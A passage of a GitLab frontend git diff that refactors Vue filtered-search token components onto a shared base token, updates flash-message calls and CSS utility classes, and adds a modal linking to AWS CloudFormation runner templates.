+ .catch(() =>
+ createFlash({
+ message: __('There was a problem fetching users.'),
+ }),
+ )
.finally(() => {
this.loading = false;
});
},
- avatarUrl(author) {
- return author.avatarUrl || author.avatar_url;
- },
- searchAuthors: debounce(function debouncedSearch({ data }) {
- this.fetchAuthorBySearchTerm(data);
- }, DEBOUNCE_DELAY),
},
};
</script>
<template>
- <gl-filtered-search-token
- :config="config"
- v-bind="{ ...$props, ...$attrs }"
- v-on="$listeners"
- @input="searchAuthors"
+ <base-token
+ :token-config="config"
+ :token-value="value"
+ :token-active="active"
+ :tokens-list-loading="loading"
+ :token-values="authors"
+ :fn-active-token-value="getActiveAuthor"
+ :default-token-values="defaultAuthors"
+ :preloaded-token-values="preloadedAuthors"
+ :recent-token-values-storage-key="config.recentTokenValuesStorageKey"
+ @fetch-token-values="fetchAuthorBySearchTerm"
>
- <template #view="{ inputValue }">
+ <template #view="{ viewTokenProps: { inputValue, activeTokenValue } }">
<gl-avatar
- v-if="activeAuthor"
+ v-if="activeTokenValue"
:size="16"
- :src="activeAuthorAvatar"
+ :src="getAvatarUrl(activeTokenValue)"
shape="circle"
class="gl-mr-2"
/>
- <span>{{ activeAuthor ? activeAuthor.name : inputValue }}</span>
+ <span>{{ activeTokenValue ? activeTokenValue.name : inputValue }}</span>
</template>
- <template #suggestions>
+ <template #token-values-list="{ tokenValues }">
<gl-filtered-search-suggestion
- v-for="author in defaultAuthors"
- :key="author.value"
- :value="author.value"
+ v-for="author in tokenValues"
+ :key="author.username"
+ :value="author.username"
>
- {{ author.text }}
- </gl-filtered-search-suggestion>
- <gl-dropdown-divider v-if="defaultAuthors.length" />
- <gl-loading-icon v-if="loading" />
- <template v-else>
- <gl-filtered-search-suggestion
- v-for="author in authors"
- :key="author.username"
- :value="author.username"
- >
- <div class="d-flex">
- <gl-avatar :size="32" :src="avatarUrl(author)" />
- <div>
- <div>{{ author.name }}</div>
- <div>@{{ author.username }}</div>
- </div>
+ <div class="gl-display-flex">
+ <gl-avatar :size="32" :src="getAvatarUrl(author)" />
+ <div>
+ <div>{{ author.name }}</div>
+ <div>@{{ author.username }}</div>
</div>
- </gl-filtered-search-suggestion>
- </template>
+ </div>
+ </gl-filtered-search-suggestion>
</template>
- </gl-filtered-search-token>
+ </base-token>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
index 6ebc5431012..fb6b9e4bc0d 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue
@@ -48,6 +48,11 @@ export default {
required: false,
default: () => [],
},
+ preloadedTokenValues: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
recentTokenValuesStorageKey: {
type: String,
required: false,
@@ -78,7 +83,10 @@ export default {
return Boolean(this.recentTokenValuesStorageKey);
},
recentTokenIds() {
- return this.recentTokenValues.map((tokenValue) => tokenValue.id || tokenValue.name);
+ return this.recentTokenValues.map((tokenValue) => tokenValue[this.valueIdentifier]);
+ },
+ preloadedTokenIds() {
+ return this.preloadedTokenValues.map((tokenValue) => tokenValue[this.valueIdentifier]);
},
currentTokenValue() {
if (this.fnCurrentTokenValue) {
@@ -98,7 +106,9 @@ export default {
return this.searchKey
? this.tokenValues
: this.tokenValues.filter(
- (tokenValue) => !this.recentTokenIds.includes(tokenValue[this.valueIdentifier]),
+ (tokenValue) =>
+ !this.recentTokenIds.includes(tokenValue[this.valueIdentifier]) &&
+ !this.preloadedTokenIds.includes(tokenValue[this.valueIdentifier]),
);
},
},
@@ -120,7 +130,15 @@ export default {
}, DEBOUNCE_DELAY);
},
handleTokenValueSelected(activeTokenValue) {
- if (this.isRecentTokenValuesEnabled) {
+ // Make sure that;
+ // 1. Recently used values feature is enabled
+ // 2. User has actually selected a value
+ // 3. Selected value is not part of preloaded list.
+ if (
+ this.isRecentTokenValuesEnabled &&
+ activeTokenValue &&
+ !this.preloadedTokenIds.includes(activeTokenValue[this.valueIdentifier])
+ ) {
setTokenValueToRecentlyUsed(this.recentTokenValuesStorageKey, activeTokenValue);
}
},
@@ -158,6 +176,11 @@ export default {
<slot name="token-values-list" :token-values="recentTokenValues"></slot>
<gl-dropdown-divider />
</template>
+ <slot
+ v-if="preloadedTokenValues.length"
+ name="token-values-list"
+ :token-values="preloadedTokenValues"
+ ></slot>
<gl-loading-icon v-if="tokensListLoading" />
<template v-else>
<slot name="token-values-list" :token-values="availableTokenValues"></slot>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
index f2f4787d80b..9ba7f3d1a1d 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue
@@ -7,7 +7,7 @@ import {
} from '@gitlab/ui';
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import { DEBOUNCE_DELAY, DEFAULT_NONE_ANY } from '../constants';
@@ -65,7 +65,11 @@ export default {
.then((res) => {
this.emojis = Array.isArray(res) ? res : res.data;
})
- .catch(() => createFlash(__('There was a problem fetching emojis.')))
+ .catch(() =>
+ createFlash({
+ message: __('There was a problem fetching emojis.'),
+ }),
+ )
.finally(() => {
this.loading = false;
});
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
index 1450807b11d..d21fa9a344a 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue
@@ -11,6 +11,7 @@ import { __ } from '~/locale';
import { DEBOUNCE_DELAY, DEFAULT_NONE_ANY } from '../constants';
export default {
+ separator: '::&',
components: {
GlDropdownDivider,
GlFilteredSearchToken,
@@ -34,17 +35,35 @@ export default {
};
},
computed: {
+ idProperty() {
+ return this.config.idProperty || 'iid';
+ },
currentValue() {
- return Number(this.value.data);
+ const epicIid = Number(this.value.data);
+ if (epicIid) {
+ return epicIid;
+ }
+ return this.value.data;
},
defaultEpics() {
return this.config.defaultEpics || DEFAULT_NONE_ANY;
},
- idProperty() {
- return this.config.idProperty || 'id';
- },
activeEpic() {
- return this.epics.find((epic) => epic[this.idProperty] === this.currentValue);
+ if (this.currentValue && this.epics.length) {
+ // Check if current value is an epic ID.
+ if (typeof this.currentValue === 'number') {
+ return this.epics.find((epic) => epic[this.idProperty] === this.currentValue);
+ }
+
+ // Current value is a string.
+ const [groupPath, idProperty] = this.currentValue?.split('::&');
+ return this.epics.find(
+ (epic) =>
+ epic.group_full_path === groupPath &&
+ epic[this.idProperty] === parseInt(idProperty, 10),
+ );
+ }
+ return null;
},
},
watch: {
@@ -58,10 +77,10 @@ export default {
},
},
methods: {
- fetchEpicsBySearchTerm(searchTerm = '') {
+ fetchEpicsBySearchTerm({ epicPath = '', search = '' }) {
this.loading = true;
this.config
- .fetchEpics(searchTerm)
+ .fetchEpics({ epicPath, search })
.then((response) => {
this.epics = Array.isArray(response) ? response : response.data;
})
@@ -71,11 +90,21 @@ export default {
});
},
searchEpics: debounce(function debouncedSearch({ data }) {
- this.fetchEpicsBySearchTerm(data);
+ let epicPath = this.activeEpic?.web_url;
+
+ // When user visits the page with token value already included in filters
+ // We don't have any information about selected token except for its
+ // group path and iid joined by separator, so we need to manually
+ // compose epic path from it.
+ if (data.includes(this.$options.separator)) {
+ const [groupPath, epicIid] = data.split(this.$options.separator);
+ epicPath = `/groups/${groupPath}/-/epics/${epicIid}`;
+ }
+ this.fetchEpicsBySearchTerm({ epicPath, search: data });
}, DEBOUNCE_DELAY),
getEpicDisplayText(epic) {
- return `${epic.title}::&${epic[this.idProperty]}`;
+ return `${epic.title}${this.$options.separator}${epic.iid}`;
},
},
};
@@ -104,8 +133,8 @@ export default {
<template v-else>
<gl-filtered-search-suggestion
v-for="epic in epics"
- :key="epic[idProperty]"
- :value="String(epic[idProperty])"
+ :key="epic.id"
+ :value="`${epic.group_full_path}::&${epic[idProperty]}`"
>
{{ epic.title }}
</gl-filtered-search-suggestion>
diff --git a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
index 76b005772ec..20b8cbfe933 100644
--- a/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue
@@ -1,27 +1,20 @@
<script>
-import {
- GlToken,
- GlFilteredSearchToken,
- GlFilteredSearchSuggestion,
- GlDropdownDivider,
- GlLoadingIcon,
-} from '@gitlab/ui';
-import { debounce } from 'lodash';
+import { GlToken, GlFilteredSearchSuggestion } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
-import { DEFAULT_LABELS, DEBOUNCE_DELAY } from '../constants';
+import { DEFAULT_LABELS } from '../constants';
import { stripQuotes } from '../filtered_search_utils';
+import BaseToken from './base_token.vue';
+
export default {
components: {
+ BaseToken,
GlToken,
- GlFilteredSearchToken,
GlFilteredSearchSuggestion,
- GlDropdownDivider,
- GlLoadingIcon,
},
props: {
config: {
@@ -32,43 +25,24 @@ export default {
type: Object,
required: true,
},
+ active: {
+ type: Boolean,
+ required: true,
+ },
},
data() {
return {
labels: this.config.initialLabels || [],
defaultLabels: this.config.defaultLabels || DEFAULT_LABELS,
- loading: true,
+ loading: false,
};
},
- computed: {
- currentValue() {
- return this.value.data.toLowerCase();
- },
- activeLabel() {
- return this.labels.find(
- (label) => this.getLabelName(label).toLowerCase() === stripQuotes(this.currentValue),
+ methods: {
+ getActiveLabel(labels, currentValue) {
+ return labels.find(
+ (label) => this.getLabelName(label).toLowerCase() === stripQuotes(currentValue),
);
},
- containerStyle() {
- if (this.activeLabel) {
- const { color, textColor } = convertObjectPropsToCamelCase(this.activeLabel);
-
- return { backgroundColor: color, color: textColor };
- }
- return {};
- },
- },
- watch: {
- active: {
- immediate: true,
- handler(newValue) {
- if (!newValue && !this.labels.length) {
- this.fetchLabelBySearchTerm(this.value.data);
- }
- },
- },
- },
- methods: {
/**
* There's an inconsistency between private and public API
* for labels where label name is included in a different
@@ -84,6 +58,16 @@ export default {
getLabelName(label) {
return label.name || label.title;
},
+ getContainerStyle(activeLabel) {
+ if (activeLabel) {
+ const { color: backgroundColor, textColor: color } = convertObjectPropsToCamelCase(
+ activeLabel,
+ );
+
+ return { backgroundColor, color };
+ }
+ return {};
+ },
fetchLabelBySearchTerm(searchTerm) {
this.loading = true;
this.config
@@ -94,55 +78,56 @@ export default {
// return response differently.
this.labels = Array.isArray(res) ? res : res.data;
})
- .catch(() => createFlash(__('There was a problem fetching labels.')))
+ .catch(() =>
+ createFlash({
+ message: __('There was a problem fetching labels.'),
+ }),
+ )
.finally(() => {
this.loading = false;
});
},
- searchLabels: debounce(function debouncedSearch({ data }) {
- if (!this.loading) this.fetchLabelBySearchTerm(data);
- }, DEBOUNCE_DELAY),
},
};
</script>
<template>
- <gl-filtered-search-token
- :config="config"
- v-bind="{ ...$props, ...$attrs }"
- v-on="$listeners"
- @input="searchLabels"
+ <base-token
+ :token-config="config"
+ :token-value="value"
+ :token-active="active"
+ :tokens-list-loading="loading"
+ :token-values="labels"
+ :fn-active-token-value="getActiveLabel"
+ :default-token-values="defaultLabels"
+ :recent-token-values-storage-key="config.recentTokenValuesStorageKey"
+ @fetch-token-values="fetchLabelBySearchTerm"
>
- <template #view-token="{ inputValue, cssClasses, listeners }">
- <gl-token variant="search-value" :class="cssClasses" :style="containerStyle" v-on="listeners"
- >~{{ activeLabel ? getLabelName(activeLabel) : inputValue }}</gl-token
+ <template
+ #view-token="{ viewTokenProps: { inputValue, cssClasses, listeners, activeTokenValue } }"
+ >
+ <gl-token
+ variant="search-value"
+ :class="cssClasses"
+ :style="getContainerStyle(activeTokenValue)"
+ v-on="listeners"
+ >~{{ activeTokenValue ? getLabelName(activeTokenValue) : inputValue }}</gl-token
>
</template>
- <template #suggestions>
+ <template #token-values-list="{ tokenValues }">
<gl-filtered-search-suggestion
- v-for="label in defaultLabels"
- :key="label.value"
- :value="label.value"
+ v-for="label in tokenValues"
+ :key="label.id"
+ :value="getLabelName(label)"
>
- {{ label.text }}
+ <div class="gl-display-flex gl-align-items-center">
+ <span
+ :style="{ backgroundColor: label.color }"
+ class="gl-display-inline-block mr-2 p-2"
+ ></span>
+ <div>{{ getLabelName(label) }}</div>
+ </div>
</gl-filtered-search-suggestion>
- <gl-dropdown-divider v-if="defaultLabels.length" />
- <gl-loading-icon v-if="loading" />
- <template v-else>
- <gl-filtered-search-suggestion
- v-for="label in labels"
- :key="label.id"
- :value="getLabelName(label)"
- >
- <div class="gl-display-flex gl-align-items-center">
- <span
- :style="{ backgroundColor: label.color }"
- class="gl-display-inline-block mr-2 p-2"
- ></span>
- <div>{{ getLabelName(label) }}</div>
- </div>
- </gl-filtered-search-suggestion>
- </template>
</template>
- </gl-filtered-search-token>
+ </base-token>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/incidents/utils.js b/app/assets/javascripts/vue_shared/components/incidents/utils.js
new file mode 100644
index 00000000000..bcb578a6ba6
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/incidents/utils.js
@@ -0,0 +1,3 @@
+import { noop } from 'lodash';
+
+export const isValidSlaDueAt = noop;
diff --git a/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue b/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue
index 3006ba83f98..b2f077f5329 100644
--- a/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue
+++ b/app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue
@@ -60,7 +60,7 @@ export default {
},
methods: {
avatarUrlTitle(assignee) {
- return sprintf(__('Avatar for %{assigneeName}'), {
+ return sprintf(__('Assigned to %{assigneeName}'), {
assigneeName: assignee.name,
});
},
diff --git a/app/assets/javascripts/vue_shared/components/registry/details_row.vue b/app/assets/javascripts/vue_shared/components/registry/details_row.vue
index 2e245fadead..72e06b45561 100644
--- a/app/assets/javascripts/vue_shared/components/registry/details_row.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/details_row.vue
@@ -8,7 +8,8 @@ export default {
props: {
icon: {
type: String,
- required: true,
+ required: false,
+ default: null,
},
padding: {
type: String,
@@ -34,7 +35,7 @@ export default {
class="gl-display-flex gl-align-items-center gl-font-monospace gl-font-sm gl-word-break-all"
:class="[padding, borderClass]"
>
- <gl-icon :name="icon" class="gl-mr-4" />
+ <gl-icon v-if="icon" :name="icon" class="gl-mr-4" />
<span>
<slot></slot>
</span>
diff --git a/app/assets/javascripts/vue_shared/components/registry/list_item.vue b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
index b9e916bc199..933a215112b 100644
--- a/app/assets/javascripts/vue_shared/components/registry/list_item.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
@@ -62,7 +62,7 @@ export default {
<slot name="left-action"></slot>
</div>
<div
- class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-fill-1"
+ class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-grow-1"
>
<div class="gl-display-flex gl-flex-direction-column gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1">
<div
@@ -81,7 +81,7 @@ export default {
</div>
<div
v-if="$slots['left-secondary']"
- class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-fill-1"
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-grow-1"
>
<slot name="left-secondary"></slot>
</div>
@@ -114,7 +114,7 @@ export default {
<div class="gl-w-7"></div>
<div
v-if="isDetailsShown"
- class="gl-display-flex gl-flex-direction-column gl-flex-fill-1 gl-bg-gray-10 gl-rounded-base gl-inset-border-1-gray-100 gl-mb-3"
+ class="gl-display-flex gl-flex-direction-column gl-flex-grow-1 gl-bg-gray-10 gl-rounded-base gl-inset-border-1-gray-100 gl-mb-3"
>
<div
v-for="(row, detailIndex) in detailsSlots"
diff --git a/app/assets/javascripts/vue_shared/components/registry/registry_search.vue b/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
index 0825c3a76ea..767a108dde5 100644
--- a/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/registry_search.vue
@@ -109,7 +109,7 @@ export default {
<div class="gl-display-flex gl-p-5 gl-bg-gray-10 gl-border-solid gl-border-1 gl-border-gray-100">
<gl-filtered-search
v-model="internalFilter"
- class="gl-mr-4 gl-flex-fill-1"
+ class="gl-mr-4 gl-flex-grow-1"
:placeholder="__('Filter results')"
:available-tokens="tokens"
@submit="submitSearch"
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text.js b/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text.js
deleted file mode 100644
index d7716543b53..00000000000
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import { buildTextToken, buildUneditableInlineTokens } from './build_uneditable_token';
-
-/*
-Use case examples:
-- Majority: two bracket pairs, back-to-back, each with content (including spaces)
- - `[environment terraform plans][terraform]`
- - `[an issue labelled `~"master:broken"`][broken-master-issues]`
-- Minority: two bracket pairs the latter being empty or only one pair with content (including spaces)
- - `[this link][]`
- - `[this link]`
-
-Regexp notes:
- - `(?:\[.+?\]){1}`: Always one bracket pair with content (including spaces)
- - `(?:\[\]|\[.+?\])?`: Optional second pair that may or may not contain content (including spaces)
- - `(?!:)`: Never followed by a `:` which is reserved for identifier definition syntax (`[identifier]: /the-link`)
- - Each of the three parts is non-captured, but the match as a whole is captured
-*/
-const identifierInstanceRegex = /((?:\[.+?\]){1}(?:\[\]|\[.+?\])?(?!:))/g;
-
-const isIdentifierInstance = (literal) => {
- // Reset lastIndex as global flag in regexp are stateful (https://stackoverflow.com/a/11477448)
- identifierInstanceRegex.lastIndex = 0;
- return identifierInstanceRegex.test(literal);
-};
-
-const canRender = ({ literal }) => isIdentifierInstance(literal);
-
-const tokenize = (text) => {
- const matches = text.split(identifierInstanceRegex);
- const tokens = matches.map((match) => {
- const token = buildTextToken(match);
- return isIdentifierInstance(match) ? buildUneditableInlineTokens(token) : token;
- });
-
- return tokens.flat();
-};
-
-const render = (_, { origin }) => tokenize(origin().content);
-
-export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js
new file mode 100644
index 00000000000..46361c6eb32
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js
@@ -0,0 +1,49 @@
+import { s__, sprintf } from '~/locale';
+
+export const EXPERIMENT_NAME = 'ci_runner_templates';
+
+export const README_URL =
+ 'https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/easybuttons.md';
+
+export const CF_BASE_URL =
+ 'https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?';
+
+export const TEMPLATES_BASE_URL = 'https://gl-public-templates.s3.amazonaws.com/cfn/experimental/';
+
+export const EASY_BUTTONS = [
+ {
+ stackName: 'linux-docker-nonspot',
+ templateName:
+ 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-ondemandonly.cf.yml',
+ description: s__(
+ 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor.',
+ ),
+ },
+ {
+ stackName: 'linux-docker-spotonly',
+ templateName: 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-spotonly.cf.yml',
+ description: sprintf(
+ s__(
+ 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot.',
+ ),
+ { percentage: '100%' },
+ ),
+ },
+ {
+ stackName: 'win2019-shell-non-spot',
+ templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-ondemandonly.cf.yml',
+ description: s__(
+ 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor.',
+ ),
+ },
+ {
+ stackName: 'win2019-shell-spot',
+ templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-spotonly.cf.yml',
+ description: sprintf(
+ s__(
+ 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot.',
+ ),
+ { percentage: '100%' },
+ ),
+ },
+];
diff --git a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue
new file mode 100644
index 00000000000..e3e3b9abc3c
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue
@@ -0,0 +1,43 @@
+<script>
+import { GlButton, GlModalDirective } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import RunnerAwsDeploymentsModal from './runner_aws_deployments_modal.vue';
+
+export default {
+ components: {
+ GlButton,
+ RunnerAwsDeploymentsModal,
+ },
+ directives: {
+ GlModalDirective,
+ },
+ modalId: 'runner-aws-deployments-modal',
+ i18n: {
+ buttonText: s__('Runners|Deploy GitLab Runner in AWS'),
+ },
+ data() {
+ return {
+ opened: false,
+ };
+ },
+ methods: {
+ onClick() {
+ this.opened = true;
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-button
+ v-gl-modal-directive="$options.modalId"
+ class="gl-mt-4"
+ data-testid="show-modal-button"
+ variant="confirm"
+ @click="onClick"
+ >
+ {{ $options.i18n.buttonText }}
+ </gl-button>
+ <runner-aws-deployments-modal v-if="opened" :modal-id="$options.modalId" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue
new file mode 100644
index 00000000000..f21dea468cb
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue
@@ -0,0 +1,97 @@
+<script>
+import { GlModal, GlSprintf, GlLink } from '@gitlab/ui';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
+import { getBaseURL, objectToQuery } from '~/lib/utils/url_utility';
+import { __, s__ } from '~/locale';
+import {
+ EXPERIMENT_NAME,
+ README_URL,
+ CF_BASE_URL,
+ TEMPLATES_BASE_URL,
+ EASY_BUTTONS,
+} from './constants';
+
+export default {
+ components: {
+ GlModal,
+ GlSprintf,
+ GlLink,
+ },
+ props: {
+ modalId: {
+ type: String,
+ required: true,
+ },
+ },
+ methods: {
+ easyButtonUrl(easyButton) {
+ const params = {
+ templateURL: TEMPLATES_BASE_URL + easyButton.templateName,
+ stackName: easyButton.stackName,
+ param_3GITLABRunnerInstanceURL: getBaseURL(),
+ };
+ return CF_BASE_URL + objectToQuery(params);
+ },
+ trackCiRunnerTemplatesClick(stackName) {
+ const tracking = new ExperimentTracking(EXPERIMENT_NAME);
+ tracking.event(`template_clicked_${stackName}`);
+ },
+ },
+ i18n: {
+ title: s__('Runners|Deploy GitLab Runner in AWS'),
+ instructions: s__(
+ 'Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet.',
+ ),
+ dont_see_what_you_are_looking_for: s__(
+ "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}.",
+ ),
+ note: s__(
+ 'Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account.',
+ ),
+ },
+ closeButton: {
+ text: __('Cancel'),
+ attributes: [{ variant: 'default' }],
+ },
+ readmeUrl: README_URL,
+ easyButtons: EASY_BUTTONS,
+};
+</script>
+<template>
+ <gl-modal
+ :modal-id="modalId"
+ :title="$options.i18n.title"
+ :action-secondary="$options.closeButton"
+ size="sm"
+ >
+ <p>{{ $options.i18n.instructions }}</p>
+ <ul class="gl-list-style-none gl-p-0 gl-mb-0">
+ <li v-for="easyButton in $options.easyButtons" :key="easyButton.templateName">
+ <gl-link
+ :href="easyButtonUrl(easyButton)"
+ target="_blank"
+ class="gl-display-flex gl-font-weight-bold"
+ @click="trackCiRunnerTemplatesClick(easyButton.stackName)"
+ >
+ <img
+ :title="easyButton.stackName"
+ :alt="easyButton.stackName"
+ src="/assets/aws-cloud-formation.png"
+ width="46"
+ height="46"
+ class="gl-mt-2 gl-mr-5 gl-mb-6"
+ />
+ {{ easyButton.description }}
+ </gl-link>
+ </li>
+ </ul>
+ <p>
+ <gl-sprintf :message="$options.i18n.dont_see_what_you_are_looking_for">
+ <template #link="{ content }">
+ <gl-link :href="$options.readmeUrl" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p class="gl-font-sm gl-mb-0">{{ $options.i18n.note }}</p>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
index 1f70644eb2c..580e1668f41 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
@@ -225,7 +225,7 @@ export default {
<template v-if="!instructionsEmpty">
<div class="gl-display-flex">
<pre
- class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
+ class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
data-testid="binary-instructions"
>{{ instructions.installInstructions }}</pre
>
@@ -241,7 +241,7 @@ export default {
<h5 class="gl-mb-3">{{ $options.i18n.registerRunnerCommand }}</h5>
<div class="gl-display-flex">
<pre
- class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
+ class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
data-testid="register-command"
>{{ instructions.registerInstructions }}</pre
>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue
deleted file mode 100644
index 88c4d132d61..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue
+++ /dev/null
@@ -1,191 +0,0 @@
-<script>
-import { GlLoadingIcon } from '@gitlab/ui';
-import $ from 'jquery';
-import LabelsSelect from '~/labels_select';
-import { __ } from '~/locale';
-import DropdownHiddenInput from '~/vue_shared/components/dropdown/dropdown_hidden_input.vue';
-
-import { DropdownVariant } from '../labels_select_vue/constants';
-import DropdownButton from './dropdown_button.vue';
-import DropdownCreateLabel from './dropdown_create_label.vue';
-import DropdownFooter from './dropdown_footer.vue';
-import DropdownHeader from './dropdown_header.vue';
-import DropdownSearchInput from './dropdown_search_input.vue';
-import DropdownTitle from './dropdown_title.vue';
-import DropdownValue from './dropdown_value.vue';
-import DropdownValueCollapsed from './dropdown_value_collapsed.vue';
-
-export default {
- DropdownVariant,
- components: {
- DropdownTitle,
- DropdownValue,
- DropdownValueCollapsed,
- DropdownButton,
- DropdownHiddenInput,
- DropdownHeader,
- DropdownSearchInput,
- DropdownFooter,
- DropdownCreateLabel,
- GlLoadingIcon,
- },
- props: {
- showCreate: {
- type: Boolean,
- required: false,
- default: false,
- },
- isProject: {
- type: Boolean,
- required: false,
- default: false,
- },
- abilityName: {
- type: String,
- required: true,
- },
- context: {
- type: Object,
- required: true,
- },
- namespace: {
- type: String,
- required: false,
- default: '',
- },
- updatePath: {
- type: String,
- required: false,
- default: '',
- },
- labelsPath: {
- type: String,
- required: true,
- },
- labelsWebUrl: {
- type: String,
- required: false,
- default: '',
- },
- labelFilterBasePath: {
- type: String,
- required: false,
- default: '',
- },
- canEdit: {
- type: Boolean,
- required: false,
- default: false,
- },
- enableScopedLabels: {
- type: Boolean,
- required: false,
- default: false,
- },
- variant: {
- type: String,
- required: false,
- default: DropdownVariant.Sidebar,
- },
- },
- computed: {
- hiddenInputName() {
- return this.showCreate ? `${this.abilityName}[label_names][]` : 'label_id[]';
- },
- createLabelTitle() {
- if (this.isProject) {
- return __('Create project label');
- }
-
- return __('Create group label');
- },
- manageLabelsTitle() {
- if (this.isProject) {
- return __('Manage project labels');
- }
-
- return __('Manage group labels');
- },
- },
- mounted() {
- this.labelsDropdown = new LabelsSelect(this.$refs.dropdownButton, {
- handleClick: this.handleClick,
- });
- $(this.$refs.dropdown).on('hidden.gl.dropdown', this.handleDropdownHidden);
- },
- methods: {
- handleClick(label) {
- this.$emit('onLabelClick', label);
- },
- handleCollapsedValueClick() {
- this.$emit('toggleCollapse');
- },
- handleDropdownHidden() {
- this.$emit('onDropdownClose');
- },
- },
-};
-</script>
-
-<template>
- <div class="block labels js-labels-block">
- <dropdown-value-collapsed
- v-if="showCreate && variant === $options.DropdownVariant.Sidebar"
- :labels="context.labels"
- @onValueClick="handleCollapsedValueClick"
- />
